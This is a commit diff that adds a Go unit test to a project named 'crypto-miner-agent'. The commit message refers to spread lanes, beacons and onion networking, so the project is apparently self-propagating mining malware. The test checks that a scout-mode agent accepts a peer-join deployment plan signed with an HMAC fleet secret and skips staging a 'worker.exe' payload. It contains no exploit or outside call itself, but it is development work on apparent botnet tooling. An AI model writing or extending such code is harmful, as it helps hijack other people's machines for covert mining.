Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/deploy/scout_discover_test.go

@@ -0,0 +1,49 @@
+package deploy
+
+import (
+	"crypto/hmac"
+	"crypto/sha256"
+	"encoding/hex"
+	"encoding/json"
+	"strings"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestRunDiscoverAndJoinScoutSkipsStaging(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		ScoutMode:   true,
+		FleetSecret: "test-secret",
+	}}
+	fetch := func(_ []DeployServiceFinding, _ string) (DeployPlanResponse, error) {
+		plan := DeployPlanBody{
+			JoinLane: "do_peer",
+			Action:   "do_peer",
+			Manifest: &StagingManifest{Dest: "worker.exe", SHA256: "abc"},
+		}
+		raw, err := json.Marshal(plan)
+		if err != nil {
+			t.Fatal(err)
+		}
+		mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
+		mac.Write(raw)
+		sig := hex.EncodeToString(mac.Sum(nil))
+		return DeployPlanResponse{OK: true, JoinLane: "do_peer", Plan: plan, Signature: sig}, nil
+	}
+	runServiceDiscoverFn = func(_ int) string {
+		return `{"local":{"host":"127.0.0.1","services":[{"service_name":"dosvc","status":"running"}]}}`
+	}
+	t.Cleanup(func() { runServiceDiscoverFn = nil })
+
+	lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if lane != "do_peer" {
+		t.Fatalf("lane=%q", lane)
+	}
+	if !strings.Contains(detail, "no payload staging") {
+		t.Fatalf("detail=%q", detail)
+	}
+}